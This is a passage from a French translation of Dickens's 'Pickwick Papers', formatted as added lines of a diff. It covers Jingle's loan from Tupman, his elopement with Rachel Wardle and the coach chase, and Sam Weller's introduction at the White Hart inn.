+pourriez me nuire. Mon cher ami, pourrai-je jamais reconnaître un tel
+service?
+
+--Ne parlez pas de ça, répliqua M. Jingle, ne par....»
+
+Et il s'interrompit, comme s'il s'était rappelé tout d'un coup quelque
+chose.
+
+«A propos, reprit-il, vous ne pourriez pas me prêter dix guinées, hein?
+Affaire très-urgente. Vous rendrai ça dans trois jours.
+
+--Je crois que je puis vous obliger, répondit M. Tupman dans la
+plénitude de son coeur. Dans trois jours, dites-vous?
+
+--Rien que trois jours; tout fini, alors, plus de difficultés.»
+
+M. Tupman compta les dix guinées dans la main de son compagnon, et
+celui-ci les insinua dans son gousset, pièce par pièce, tout en
+regagnant la maison.
+
+«Attention! dit M. Jingle, pas un regard.
+
+--Pas un coup d'oeil, repartit M. Tupman.
+
+--Pas un mot!
+
+--Pas une syllabe.
+
+--Toutes vos cajoleries pour la nièce; plutôt brutal qu'autre chose
+envers la tante, seul moyen de tromper les envieux....
+
+--Je ne m'oublierai pas, répondit tout haut M. Tupman.
+
+--Et je ne m'oublierai pas non plus,» dit tout bas M. Jingle.
+
+Ils entraient alors dans la maison.
+
+La scène du dîner fut répétée le soir même et pendant trois autres
+dîners et trois soirées subséquentes. Le quatrième soir, le vieux Wardle
+paraissait fort satisfait, car il s'était convaincu que M. Tupman avait
+été faussement accusé; celui-ci était également joyeux, car M. Jingle
+lui avait dit que son affaire serait bientôt terminée; M. Pickwick se
+trouvait très-heureux, car c'était son état habituel; M. Snodgrass ne
+l'était pas, car il devenait jaloux de M. Tupman; la vieille lady était
+de fort bonne humeur, car elle gagnait au whist; enfin M. Jingle et miss
+Wardle étaient enchantés, pour des raisons tellement importantes dans
+cette véridiques histoire, qu'elles seront racontées dans un autre
+chapitre.
+
+
+
+
+CHAPITRE IX.
+
+La découverte et la poursuite.
+
+
+Le souper était servi, les chaises étaient placées autour de la table;
+des bouteilles, des pots et des verres étaient rangés sur le buffet;
+tout enfin annonçait l'approche du moment le plus sociable des
+vingt-quatre heures, c'est-à-dire le moment du souper.
+
+«Où est Rachel? demanda M. Wardle.
+
+--Et Jingle, ajouta M. Pickwick.
+
+--Tiens! reprit son hôte, comment ne nous sommes-nous pas aperçus plus
+tôt de son absence? Il y a au moins deux heures que je n'ai entendu sa
+voix. Émily, ma chère, tirez la sonnette.»
+
+La sonnette retentit et le gros joufflu parut.
+
+«Où est miss Rachel?»
+
+Il n'en savait rien.
+
+--Où est M. Jingle, alors?»
+
+Il ne pouvait le dire.
+
+Tout le monde parut surpris. Il était tard: onze heures passées. M.
+Tupman riait dans sa barbe, car ils devaient être dans quelque coin à
+parler de lui.
+
+«Drôle de farce, ha! ha!
+
+--Cela ne fait rien, dit M. Wardle après une courte pause. Je suis sûr
+qu'ils vont revenir à l'instant. Je n'attends jamais personne, au
+souper.
+
+--Excellente règle! repartit M. Pickwick. Admirable!
+
+--Je vous en prie, asseyez-vous, poursuivit son hôte.
+
+--Certainement,» dit M. Pickwick.
+
+Et ils s'assirent.
+
+Il y avait sur la table une gigantesque pièce de boeuf froid, et M.
+Pickwick en avait reçu une abondante portion. Il avait porté la
+fourchette vers ses lèvres et était sur le point d'ouvrir la bouche pour
+y introduire un morceau convenable, quand un grand bruit de voix s'éleva
+tout à coup dans la cuisine. M. Pickwick leva la tête et abaissa sa
+fourchette; M. Wardle cessa de découper, et insensiblement lâcha le
+couteau, qui resta inséré dans la morceau de boeuf. Il regarda M.
+Pickwick, et M. Pickwick le regarda.
+
+Des pas lourds retentirent dans le passage. La porte de la salle à
+manger s'ouvrit tout à coup, et l'homme qui avait nettoyé les bottes de
+M. Pickwick le jour de son arrivée, se précipita dans la chambre, suivi
+du gros joufflu et de tous les autres domestiques.
+
+«Que diable cela veut-il dire? s'écria l'amphytrion.
+
+--Est-ce que le feu est dans la cheminée de la cuisine? demanda la
+vieille lady.
+
+--Non! grand'maman! crièrent les deux jeunes personnes.
+
+--Qu'est-ce qu'il y a?» reprit le maître de la maison.
+
+L'homme respira profondément, et dit d'une voix essoufflée:
+
+«Ils sont partis, monsieur; partis sans tambour, ni trompette,
+monsieur!»
+
+Dans ce moment, on remarqua que M. Tupman posait sa fourchette et son
+couteau et devenait excessivement pâle.
+
+«Qui est-ce qui est parti? demanda M. Wardle avec colère.
+
+--M. Jingle et miss Rachel, dans une chaise de poste du _Lion Bleu_, à
+Muggleton! J'étais là, mais je n'ai pas pu les arrêter; alors, je suis
+accouru pour vous dire....
+
+--J'ai payé ses frais! s'écria M. Tupman en se dressant sur ses pieds
+d'un air frénétique. Il m'a attrapé dix guinées! arrêtez-le! Il m'a
+filouté! C'est trop fort! Je me vengerai, Pickwick! Je ne le souffrirai
+pas!»
+
+Et, tout en proférant mille exclamations incohérentes de cette nature,
+le malheureux gentleman tournait tout autour de la chambre dans un
+transport de fureur.
+
+«Le seigneur nous protège! s'écria M. Pickwick en regardant avec une
+surprise mêlée de crainte les gestes extraordinaires de son ami. Il est
+devenu fou! qu'allons-nous faire?
+
+--Ce que nous allons faire! repartit le vigoureux vieillard, qui ne
+prêta d'attention qu'aux derniers mots de son convive; mettez le cheval
+au cabriolet; je vais prendre une chaise au _Lion Bleu_, et les
+poursuivre sur-le-champ! Où est ce scélérat de Joe?
+
+--Me voici, mais je ne suis pas un scélérat! répliqua une voix, c'était
+celle du gros joufflu.
+
+--Laissez-moi l'attraper, Pickwick! cria M. Wardle en se précipitant
+vers le malencontreux jeune homme. Il a été payé par ce fripon de Jingle
+pour me faire perdre la trace en me contant des balivernes sur ma soeur
+et sur votre ami Tupman. (Ici M. Tupman se laissa tomber sur une
+chaise.) Laissez-moi l'attraper!
+
+--Retenez-le! s'écrièrent toutes les femmes; et par-dessus leurs voix
+effrayées, on entendait distinctement les sanglots du gros garçon.
+
+--Je ne veux pas qu'on me retienne! bégayait le colérique vieillard. M.
+Winkle, ôtez vos mains! M. Pickwick! Lâchez-moi, monsieur!»
+
+Dans ce moment de tourmente et de confusion, c'était un beau spectacle
+de voir l'attitude calme et philosophique de M. Pickwick. Une
+tranquillité majestueuse régnait sur sa figure quoiqu'elle fût un peu
+enflammée par les efforts qu'il faisait pour modérer les passions
+impétueuses de son hôte, dont il avait fortement embrassé la vaste
+ceinture. Pendant ce temps, Joe était égratigné, tiré, bousculé, poussé
+hors de la chambre par toutes les femmes qui s'y trouvaient rassemblées.
+Après sa disparition, M. Wardle fut relâché, et dans le même instant, on
+vint annoncer que le cabriolet était prêt.
+
+«Ne le laissez pas aller seul, crièrent les femmes, il tuera quelqu'un.
+
+--J'irai avec lui, dit M. Pickwick.
+
+--Vous êtes un bon garçon, Pickwick, repartit M. Wardle en lui serrant
+la main. Emma, donnez un châle à M. Pickwick pour attacher autour de son
+cou. Dépêchez! Soignez votre grand-mère, enfants, elle se trouve mal.
+Allons, êtes-vous prêt?»
+
+La bouche et le menton de M. Pickwick ayant été rapidement enveloppés
+d'un châle, son chapeau ayant été enfoncé sur sa tête, et son pardessus
+jeté sur son bras, il répliqua affirmativement.
+
+Lorsque nos deux amis furent montés dans le cabriolet:
+
+«Lâchez-lui la bride, Tom,» cria le vieillard. Et la voiture partit à
+travers les ruelles étroites, tombant dans les ornières et frôlant les
+haies, au hasard de se briser à chaque instant.
+
+«Ont-ils beaucoup d'avance?... cria M. Wardle en arrivant à la porte du
+_Lion Bleu_ autour de laquelle, malgré l'heure avancée, il s'était formé
+un groupe de causeurs.
+
+--Pas plus de trois quarts d'heure; répondirent tous les assistants à la
+fois.
+
+--Une chaise et quatre chevaux! sur-le-champ. Allons! Allons! Vous
+rentrerez le cabriolet après.
+
+--Allons, enfants! cria l'aubergiste, une chaise et quatre chevaux.
+Alerte! Alerte!»
+
+Sans retard s'empressèrent valets et postillons. Les lanternes
+brillèrent, les hommes coururent çà et là, les fers des chevaux
+retentirent sur les pavés inégaux de la cour, le roulement de la chaise
+se fit entendre comme on la tirait de la remise: tout était bruit et
+mouvement.
+
+«Allons donc! cette chaise viendra-t-elle cette nuit? cria M. Wardle.
+
+--La voilà dans la cour, monsieur, répondit l'aubergiste.»
+
+La chaise sortit en effet; les chevaux y furent attelés; les postillons
+montèrent sur ceux-ci, les voyageurs dans celle-là.
+
+--Postillon! cria M. Wardle, les sept milles de ce relai en moins d'une
+demi-heure!
+
+--En route!»
+
+Les postillons appliquèrent le fouet et l'éperon; les garçons saluèrent;
+les palefreniers crièrent, et ils partirent d'un train furieux.
+
+«Jolie situation! pensa M. Pickwick quand il eut le loisir de la
+réflexion. Jolie situation pour le président perpétuel du Pickwick-Club!
+Une chaise humide, des chevaux enragés, quinze milles à l'heure et
+minuit passé!»
+
+Pendant les trois ou quatre premiers milles, les deux amis, ensevelis
+dans leurs réflexions, n'échangèrent pas une seule parole, mais lorsque
+les chevaux, qui s'étaient échauffés, commencèrent à dévorer le terrain,
+M. Pickwick devint trop animé par la rapidité du mouvement pour
+continuer à rester entièrement muet.
+
+«Nous sommes sûrs de les attraper, je pense? commença-t-il.
+
+--Je l'espère, répliqua son compagnon.
+
+--Une belle nuit! continua M. Pickwick en regardant la lune qui brillait
+paisiblement.
+
+--Tant pis, car ils ont eu l'avantage du clair de lune pour prendre
+l'avance, et nous allons en être privés. Elle sera couchée dans une
+heure.
+
+--Il sera assez désagréable d'aller de ce train-là dans l'obscurité,
+n'est-il pas vrai?
+
+--Certainement,» répliqua sèchement M. Wardle.
+
+L'excitation temporaire de M. Pickwick commença à se calmer un peu,
+lorsqu'il réfléchit aux inconvénients et aux dangers de l'expédition
+dans laquelle il s'était embarqué si légèrement. Il fut tiré de ces
+pensées déplaisantes par les clameurs des postillons.
+
+«Ohé! ohé! ohé! ohé! ohé! cria le premier postillon.
+
+--Ohé! ohé! ohé! ohé! ohé! hurla le second postillon.
+
+--Ohé! ohé! ohé! ohé! ohé! vociféra le vieux Wardle lui-même en mettant
+la moitié de son corps hors de la portière.
+
+--Ohé! ohé! ohé! ohé! ohé!» répéta M. Pickwick, en s'unissant au
+refrain, sans avoir la plus légère idée de ce qu'il signifiait.
+
+Au milieu de ces cris poussés par tous les quatre à la fois, la chaise
+s'arrêta.
+
+«Qu'est-ce qui nous arrive? demanda M. Pickwick.
+
+--Il y a une barrière ici, répondit le vieux Wardle, et nous aurons des
+nouvelles des fugitifs.»
+
+Au bout de cinq minutes consommées à frapper et à crier sans relâche, un
+vieux bonhomme, n'ayant que sa chemise et son pantalon, sortit de la
+maison du _Turnpike_ et ouvrit la barrière[11].
+
+[Footnote 11: En Angleterre l'entretien des routes se fait au moyen d'un
+péage, qui est perçu de distance en distance.
+
+(_Note du traducteur_)]
+
+«Combien y a-t-il qu'une chaise est passée ici? demanda M. Wardle.
+
+--Combien y a?
+
+--Oui.
+
+--Ma foi je n'en sais trop rien. N'y a pas trop longtemps, ni trop peu
+non plus. Juste entre les deux peut-être.
+
+--Est-il passé une chaise, seulement.
+
+--Ah! mais oui, il est passé une chaise.
+
+--Combien y a-t-il de temps, mon ami? dit M. Pickwick en s'interposant.
+Une heure?
+
+--Ah! cela se pourrait bien, répliqua l'homme.
+
+--Ou deux heures? demanda le premier postillon.
+
+--Je n'en serais pas bien étonné, répondit l'homme d'un air de doute.
+
+--En route, postillons! s'écria M. Wardle irrité; voilà assez de temps
+de perdu avec ce vieil idiot.
+
+--Idiot! répéta le vieux, en contemplant avec un ricanement la chaise
+qui diminuait rapidement à mesure que la distance augmentait. Non! Pas
+si idiot que vous croyez. Vous avez perdu dix minutes ici, et vous êtes
+juste aussi savant qu'auparavant. Si tous les camarades sur la route
+reçoivent une guinée et la gagnent moitié aussi bien, vous ne
+rattraperez pas l'autre chaise avant la Saint-Michel, mon gros
+courtaud!»
+
+Ayant fait suivre son discours d'un ricanement prolongé, le vieux
+bonhomme ferma la barrière, rentra dans sa maison, et barricada la porte
+après lui.
+
+Cependant nos voyageurs poursuivaient leur route sans aucun
+ralentissement. La lune, comme M. Wardle l'avait prédit, déclinait avec
+rapidité; de sombres et pesants nuages, qui depuis quelques temps
+s'étaient graduellement étendus dans le ciel, venaient de se réunir au
+zénith en une masse noire et compacte. De larges gouttes de pluie
+fouettaient de temps en temps les glaces de la chaise, et semblaient
+avertir les voyageurs de l'approche rapide d'une tempête. Le vent qui
+soufflait directement contre eux, s'engouffrait en tourbillon furieux
+dans la route étroite, et gémissait tristement à travers les arbres. M.
+Pickwick resserra plus soigneusement sa redingote, s'établit plus
+commodément dans son coin, et tomba dans un profond sommeil, dont il fut
+tiré bientôt après par la cessation de tout mouvement, par le bruit
+d'une sonnette, et par ce cri répété à voix haute:
+
+«Des chevaux sur-le-champ!»
+
+Mais ici il arriva un autre délai. Les postillons dormaient d'un sommeil
+si mystérieusement profond, qu'il fallut plus de cinq minutes pour
+éveiller chacun d'eux. Le palefrenier avait perdu la clef de l'écurie,
+et quand à la fin elle fut trouvée, deux garçons endormis transposèrent
+les harnais des chevaux, et il fallut recommencer toute l'opération du
+harnachement. Si M. Pickwick avait été seul, ces obstacles multipliés
+auraient bientôt mis un terme à la poursuite; mais le vieux Wardle
+n'était pas démonté si aisément. Il s'employa avec tant de bonne
+volonté, poussant l'un, bousculant l'autre, prenant une chaîne par-ci,
+attachant une boucle par-là, que la chaise fut prête à rouler en un
+espace de temps beaucoup plus court qu'on n'aurait pu l'espérer
+raisonnablement, sous l'influence de tant de difficultés.
+
+Ils recommencèrent donc leur voyage, et certainement avec une
+perspective fort peu engageante. Le relai était de 15 milles, la nuit
+sombre, le vent violent, la pluie battante. Il était impossible de faire
+beaucoup de chemin en luttant contre tant d'obstacles, aussi ne
+fallut-il guère moins de deux heures pour arriver au relai suivant. Mais
+ici, se présenta à leurs yeux un objet qui réveilla leur courage et
+ranima leurs esprits abattus.
+
+«Quand cette chaise est-elle arrivée? s'écria le vieux Wardle, en
+sautant hors de sa voiture et montrant une autre chaise couverte d'une
+boue encore humide, qui était restée dans la cour.
+
+--Il n'y a pas un quart d'heure, monsieur, répliqua le valet d'écurie à
+qui cette question était adressée.
+
+--Une dame et un gentleman? demanda Wardle, pantelant d'impatience.
+
+--Oui, monsieur.
+
+--Grand homme en habit, longues jambes, le corps mince?
+
+--Oui, monsieur.
+
+--Une dame d'un certain âge, le visage maigre, rien que la peau sur les
+os, hein?
+
+--Oui, monsieur.
+
+--Pardieu! Pickwick, ce sont eux! s'écria le vieux gentleman.
+
+--Ils auraient été ici plus tôt, poursuivit le palefrenier; mais un de
+leurs traits s'est cassé.
+
+--Ce sont eux, reprit Wardle. Ce sont eux, par Jupiter! Une chaise et
+quatre chevaux, à l'instant! Nous les attraperons avant l'autre relai.
+Allons, postillons! de l'activité. Une guinée chacun, postillons!
+Vivement; dépêchons, mes enfants, en route!»
+
+Tout en proférant ces exhortations, le vieux gentleman courait à droite
+et à gauche, et s'occupait de tous les détails avec une excitation qui
+se communiqua à M. Pickwick. Sous cette influence contagieuse, celui-ci
+s'empêtra les jambes dans les harnais, se fourra au milieu des chevaux,
+se fit comprimer l'abdomen par les roues de la chaise, s'imaginant et
+croyant fermement qu'en faisant tout cela il accélérait matériellement
+les préparatifs de leur départ.
+
+«Grimpez, grimpez vite! s'écria le vieux Wardle en montant dans la
+chaise, relevant le marchepied, et fermant la portière après lui. Allons
+donc! dépêchez-vous.»
+
+M. Pickwick était de l'autre côté de la voiture, et avant qu'il pût
+savoir précisément de quoi il s'agissait, il se sentit soulever par le
+vieux gentleman, pousser par le valet d'écurie; et en route! ils étaient
+partis au grand galop.
+
+«Ah! voilà qui s'appelle marcher maintenant! dit M. Wardle avec
+complaisance.»
+
+Et en effet, ils _marchaient_, comme le témoignaient suffisamment à M.
+Pickwick ses constantes collisions avec les durs panneaux de la voiture
+ou avec son compagnon.
+
+«Tenez-vous ferme, dit le robuste vieillard au philosophe, qui venait de
+piquer une tête au beau milieu de l'immense gilet de son compagnon de
+voyage.
+
+--Je n'ai jamais été aussi cahoté de ma vie; répondit-il.
+
+--Ne faites pas attention, reprit son camarade. Ce sera bientôt fini.
+Ferme! ferme!»
+
+M. Pickwick se planta dans son coin aussi solidement qu'il le put, et la
+chaise roula plus vite que jamais.
+
+Ils avaient brûlé de cette manière environ trois milles, quand M. Wardle
+qui, depuis quelques minutes, tenait sa tête hors de la portière, la
+retira toute couverte d'éclaboussures, et s'écria, haletant
+d'impatience: «Les voilà!»
+
+M. Pickwick mit aussitôt la tête à l'autre portière et vit, à peu de
+distance devant eux, une voiture qui détalait au grand galop.
+
+«En avant! en avant!» vociféra le vieux gentleman. «Deux guinées,
+postillons! Rattrapez-les! rattrapez-les!»
+
+Les chevaux de la première chaise repartirent de toute leur vitesse, et
+ceux de M. Wardle galoppèrent avec fureur après eux.
+
+«Je vois sa tête!» s'écria le colérique vieillard. «Dieu me damne! je
+vois sa tête!
+
+--Et moi aussi,» dit M. Pickwick. «C'est lui-même.»
+
+M. Pickwick ne se trompait point. On apercevait clairement à la portière
+de la chaise la figure de M. Jingle, complétement couverte par la boue
+que lançaient les roues de sa voiture. Le mouvement de ses bras qu'il
+agitait violemment vers les postillons dénotait qu'il les encourageait à
+redoubler leurs efforts.
+
+L'intérêt devint immense. Les champs, les arbres, les haies semblaient
+tourbillonner autour d'eux. Ils arrivèrent tout auprès de la première
+chaise; ils entendaient, par-dessus le bruit des roues, la voix de M.
+Jingle qui gourmandait ses postillons. Le vieux Wardle écumait de rage
+et d'excitation; il rugissait par douzaine des «coquin!» des «scélérat!»
+Il brandissait son poing et en menaçait l'objet de son indignation; mais
+M. Jingle ne répondait à ces outrages que par un sourire moqueur, puis
+par un cri de triomphe et de dérision, lorsque ses chevaux, obéissant à
+l'énergie croissante du fouet et de l'éperon, redoublèrent de vitesse et
+laissèrent en arrière ceux qui les poursuivaient.
+
+M. Pickwick venait de retirer sa tête de la portière, et M. Wardle,
+fatigué de crier, en avait fait autant, quand une secousse terrible les
+jeta tous les deux sur le devant de la voiture. Un craquement violent se
+fit entendre, une roue se détacha, et la chaise versa sur le flanc.
+
+Après quelques secondes de confusion où l'on ne pouvait rien discerner
+que le trépignement des chevaux et le brisement des glaces, M. Pickwick
+se sentit tirer violemment des décombres, et, aussitôt qu'il fut
+d'aplomb sur ses pieds et qu'il eut dégagé sa tête du collet de sa
+redingote, par lequel se trouvaient notablement obstruées les fonctions
+de ses besicles, il reconnut toute l'étendue de leur désastre. Le jour
+venait de paraître, et la scène était parfaitement éclairée par la grise
+lumière du matin.
+
+Le vieux Wardle était debout, à côté de lui, sans chapeau, les habits
+déchirés. A ses pieds gisaient les débris de la voiture. Les postillons,
+défigurés par la boue et par une course violente étaient parvenus à
+couper les traits et se tenaient à la tête de leurs chevaux. A une
+centaine de pas en avant, on voyait l'autre chaise qui s'était arrêtée
+en entendant le bruit de leur naufrage. Les postillons, dont la figure
+était contournée par un ricanement féroce, contemplaient du haut de leur
+selle leurs adversaires démontés, tandis que M. Jingle, à la portière,
+examinait, avec une évidente satisfaction la ruine de ses persécuteurs.
+
+--Ohé? cria l'effronté comédien; personne d'endommagé?--Gentlemen d'un
+certain âge,--assez lourds,--dangereux,--très-dangereux.
+
+--Canaille! vociféra M. Wardle.
+
+--Ah! ah! ah!» répliqua Jingle; et ensuite il ajouta, en clignant de
+l'oeil d'un air malin, et en désignant avec son pouce l'intérieur de la
+chaise: «Elle va très-bien,--vous offre ses compliments,--vous prie de
+ne pas vous déranger. Des amitiés à _Tuppy_.--Ne voulez-vous pas monter
+derrière?--En route, postillons!»
+
+Les postillons se remirent en selle; la chaise recommença à rouler, et
+M. Jingle, étendant son bras hors de la portière, agitait, par dérision,
+un mouchoir blanc.
+
+Rien, dans toute cette aventure, n'avait pu troubler l'humeur égale et
+tranquille de M, Pickwick, pas même la culbute de sa voiture et de sa
+personne. Mais il ne put supporter patiemment l'infamie de celui qui,
+après avoir emprunté de l'argent à son fidèle disciple, se permettait
+d'abréger son nom en celui de Tuppy. Il devint rouge jusqu'au bord de
+ses lunettes, et, ayant respiré fortement, il dit d'une voix lente et
+emphatique: «Si jamais je rencontre cet homme, je veux....
+
+--Oui, oui, interrompit M. Wardle, tout cela est fort bien, mais, tandis
+que nous restons là à parler, ils obtiendront une licence et seront
+mariés à Londres.»
+
+M. Pickwick s'arrêta et renferma sa vengeance au fond de son coeur.
+
+«Combien y a-t-il d'ici au premier relai! demanda M. Wardle à l'un des
+postillons.
+
+--Six milles, n'est-ce pas, Tom?
+
+--Un peu plus.
+
+--Un peu plus de six milles, monsieur.
+
+--Il n'y a pas de remède, il faut les faire à pied, Pickwick.
+
+--Il n'y a pas de remède,» répéta cet homme vraiment grand.
+
+Par l'ordre de M. Wardle, l'un des postillons partit devant, à cheval,
+pour faire atteler une nouvelle chaise, et l'autre resta en arrière pour
+prendre soin de celle qui était brisée. En même temps, M. Pickwick et le
+vieux gentleman se mettaient courageusement en marche, après avoir
+soigneusement attaché leurs châles autour de leur cou et avoir enfoncé
+leur chapeau sur leurs oreilles, pour éviter autant que possible le
+déluge de pluie qui recommençait à tomber.
+
+
+
+
+
+CHAPITRE X.
+
+Destiné à dissiper tous les doutes qui pourraient exister sur le
+désintéressement de M. Jingle.
+
+
+Il y a dans Londres plusieurs vieilles auberges qui servaient de
+quartier général aux coches les plus célèbres, dans le temps où les
+coches accomplissaient leurs voyages d'une manière grave et solennelle;
+mais ces auberges ont dégénéré peu à peu, et n'abritent plus guère que
+des voitures de roulage. Le lecteur chercherait en vain quelqu'une de
+ces anciennes hôtelleries parmi les _Bouches d'or_, les _Croix d'or_,
+les _Taureaux d'or_ qui lèvent leur front superbe dans les belles rues
+de Londres. S'il veut en étudier les restes, il fera bien de diriger ses
+pas vers les quartiers les plus obscurs de la ville, et là, dans quelque
+coin retiré, il en trouvera un certain nombre qui restent encore debout,
+avec une sombre obstination, au milieu des innovations modernes.
+
+Dans le _Borough_[12] surtout, il reste encore une demi-douzaine de ces
+anciennes maisons, qui ont conservé sans changement leur singulière
+physionomie, et qui ont également échappé à la rage des améliorations
+publiques et des spéculations privées. Ce sont d'étranges bâtiments,
+avec des galeries, des corridors, des escaliers sans nombre, et assez
+antiques, assez vastes pour fournir des matériaux à mille histoires de
+revenants, si nous sommes jamais réduits à la lamentable nécessité d'en
+inventer quelques-unes, et si le monde dure assez longtemps pour épuiser
+les innombrables et véridiques légendes qui se rattachent au vieux pont
+de Londres et à ses environs.
+
+[Footnote 12: Faubourg de Londres, situé au midi de la Tamise. (_Note du
+traducteur._)]
+
+Dans la cour du _Blanc-Cerf_, l'une des plus célèbres entre ces auberges
+gothiques, et de bonne heure dans la matinée qui suivit les événements
+funestes racontés dans le précédent chapitre, un homme s'occupait
+activement à enlever la boue d'une paire de bottes. Cet homme avait un
+gilet rayé, orné de manches de calicot noir et de boutons de verre bleu,
+une culotte de gros drap et des guêtres. Autour de son cou s'enroulait
+négligemment un mouchoir d'un rouge éclatant; un vieux chapeau blanc
+était posé sans façon sur le côté gauche de sa tête. Il y avait devant
+ce personnage deux rangées de bottes, les unes propres, les autres
+crottées, et, à chaque addition qu'il faisait aux bottes nettoyées, il
+s'arrêtait un instant pour contempler son ouvrage avec une satisfaction
+évidente.
+
+La cour n'offrait aucun indice de ce tapage, de ce mouvement qui
+caractérisent les hôtels où s'arrêtent les diligences. Deux ou trois
+cabriolets, deux ou trois chaises de poste s'abritaient sous différents
+petits toits en appentis. Trois ou quatre voitures de roulage, chargées
+d'une montagne de marchandises aussi élevée que le second étage d'une
+maison ordinaire, restaient immobiles à l'ombre d'un énorme hangar
+suspendu sur un des côtés de la cour, tandis qu'un autre camion, qui
+probablement devait commencer son voyage dans la matinée, était tiré
+dans la partie découverte. Les bâtiments qui bordaient deux côtés du
+parallélogramme étaient garnis d'une double rangée de galeries, ornées
+d'énormes garde-fous en bois, et sur lesquelles deux files de chambres à
+coucher venaient s'ouvrir. Deux lignes de sonnettes, qui leur
+correspondaient, se dandinaient au-dessus de la porte d'entrée,
+recouverte par un petit toit en ardoise. Enfin, de temps en temps, le
+piétinement pesant d'un cheval de charge, ou le cliquetis d'une chaîne,
+annonçait, à ceux qui s'en inquiétaient, que les écuries étaient au bout
+de la cour. Si nous ajoutons à ce tableau quelques hommes en blouse,
+dormant sur des ballots; quelques sacs de laine et autres articles de ce
+genre, répandus sur des monceaux de foin, nous aurons décrit, autant
+qu'il est nécessaire, l'apparence que présentait, dans la matinée dont
+il s'agit, la cour du _Blanc-Cerf_, grande rue du Borough.
+
+Le carillon d'une des sonnettes fut suivi de l'apparition d'une servante
+coquette, dans l'une des galeries du second étage. Elle frappa à l'une
+des portes, et, ayant reçu une requête de l'intérieur, elle cria
+par-dessus la balustrade: Sam!»
+
+«Voilà! répliqua l'homme au chapeau blanc.
+
+--Le n°22 demande ses bottes sur-le-champ.
+
+--Eh bien! demandes-y s'il veut les avoir de suite, ou bien attendre
+qu'on les lui porte cirées.
+
+--Allons, Sam! pas de bêtises! reprit la jeune fille d'un air engageant;
+le gentleman a besoin de ses bottes sur-le-champ.
+
+--Parole d'honneur! vous êtes bonne là! repartit le décrotteur.
+Regardez-moi un peu ces bottes. Onze paires de bottes, et un soulier qui
+appartient au n° 6, avec une jambe de bois. Les bottes doivent être
+livrées à huit heures et demie, et le soulier à neuf. Qu'est-ce que
+c'est que le n° 22, pour monter sur le dos à tous les autres? Non! non!
+chacun son tour! comme disait Jack Ketch à des particuliers qu'il avait
+à pendre. Fâché de vous faire attendre, monsieur; mais je ferai vot'
+affaire tout à l'heure.»
+
+Parlant ainsi, l'homme au chapeau blanc se remit à travailler sur une
+botte à revers, avec une vitesse accélérée.
+
+On entendit un autre carillon, et la vieille aubergiste du _Blanc-Cerf_
+parut d'un air affairé dans la galerie opposée.
+
+«Sam! cria l'hôtesse. Où est-il, ce paresseux, ce fainéant, ce.... Oh!
+vous voilà donc, Sam! Pourquoi ne répondiez-vous pas?
+
+--Ça serait-y gentil de répondre avant que vous eussiez fini de parler?
+répliqua Sam un peu brusquement.
+
+--Tenez, cirez ces souliers pour le n° 17, sur-le-champ, et portez-les à
+la salle à manger particulière, n° 5, au rez-de-chaussée. Ayant ainsi
+parlé, l'aubergiste jeta dans la cour des souliers de femme, et
+s'éloigna en trottinant.
+
+--N° 5, dit Sam en ramassant les souliers et tirant un morceau de craie
+de sa poche, pour noter leur destination sous la semelle: Souliers de
+femme et salle à manger particulière, je parie bien qu'elle n'est pas
+venue en charrette, celle-là!
+
+--Elle est venue de bonne heure ce matin, cria la servante, qui était
+encore appuyée sur la balustrade de la galerie, dans un fiacre, avec un
+gentleman, et c'est lui qui demande ses bottes, que vous feriez mieux de
+lui donner: voilà l'histoire.
+
+--Pourquoi ne m'avez-vous pas dit ça d'abord? s'écria Sam avec une
+grande indignation, en choisissant les bottes en question parmi toutes
+celles qui étaient devant lui. Je croyais que c'était une de nos
+pratiques à trois pence. Salle à manger particulière! et une lady
+encore! S'il y a dans sa peau un peu du véritable gentleman, il me
+vaudra au moins un shilling par jour, sans compter les commissions.»
+
+Stimulé par cette réflexion consolante, M. Samuel brossa avec tant de
+bonne volonté, qu'au bout de peu de minutes, il avait donné aux souliers
+et aux bottes un luisant qui aurait rempli de jalousie l'âme de
+l'aimable M. _Warenn_; car, au _Blanc-Cerf_, on employait le cirage de
+MM. Day et Martin.
+
+Arrivé à la porte du n° 5, Sam frappa respectueusement.
+
+«Entrez!» répondit une voix d'homme.
+
+Sam fit son plus beau salut, et parut en présence d'une dame et d'un
+gentleman qui étaient en train de déjeuner. Ayant officieusement déposé
+les bottes de droite et de gauche aux pieds respectifs du gentleman, et
+les souliers de droite et de gauche à ceux de la dame, il se retira vers
+la porte.
+
+«Garçon! dit le gentleman.
+
+--Monsieur! répondit Sam en fermant la porte et tenant la main sur le
+bouton de la serrure.
+
+--Connaissez-vous... comment cela s'appelle-t-il? _Doctors Commons_?
+
+--Oui, monsieur.
+
+--Où est-ce?
+
+--_Paul's church-yards_, monsieur. Une arcade basse; un libraire d'un
+côté, un hôtel de l'autre, et deux commissionnaires qui se chargent
+d'obtenir des permis de mariage pour ceux qui en ont besoin.
+
+--Des permis de mariage? répéta le gentleman.
+
+--Oui, des permis de mariage! répéta Sam. Deux individus en tablier
+blanc touchent leurs chapeaux quand vous entrez: «Un permis, monsieur,
+un permis?» Drôles de gens, et leurs maîtres aussi! Ils ne valent pas
+mieux que les procureurs que consultent les plaideurs de la Cour
+d'assises.
+
+--Et que font-ils? demanda le gentleman.
+
+--Ce qu'ils font? Ils vous mettent dedans, monsieur! Et ce n'est pas
+tout: ils fourrent dans la tête des vieilles gens des choses comme ils
+n'en auraient jamais rêvé. Mon père, monsieur, était un cocher, un
+cocher veuf, monsieur, et assez gros pour être capable de tout;
+étonnamment gros, mon père. Sa chère épouse décède, et lui laisse quatre
+cents guinées. Bien! Il s'en va aux _Commons_ pour voir l'homme de loi,
+et toucher le quibus. Fameuse tournure, mon père! Bottes à revers,
+bouquet à la boutonnière, chapeau à grands bords, châle vert, gentleman
+fini! Il passe sous l'arcade, pensant où il placerait son argent. Bon!
+arrive le commissionnaire. Il touche son chapeau: «Un permis,
+monsieur?--Quoi qu'c'est? dit mon père.--Permis de mariage,
+dit-il.--Dieu me damne! dit mon père, je n'y avais jamais
+pensé.--J'imagine qu'il vous en faut un, monsieur,» dit le
+commissionnaire. Mon père s'arrête et réfléchit un brin. «Non! dit-il,
+diable m'emporte! Je suis trop vieux. D'ailleurs, je suis beaucoup trop
+gros, dit-il.--Allons donc, monsieur! dit l'autre.--Vous croyez? dit mon
+père.--J'en suis sûr, qu'il dit. Nous avons marié un gentleman deux fois
+vot' corporence lundi passé.--Vrai? dit mon père.--Bien vrai! dit
+l'autre; vous n'êtes qu'un gringalet auprès. Par ici, monsieur, par
+ici.» Et ne voilà-t-il pas mon père qui marche après lui, comme un singe
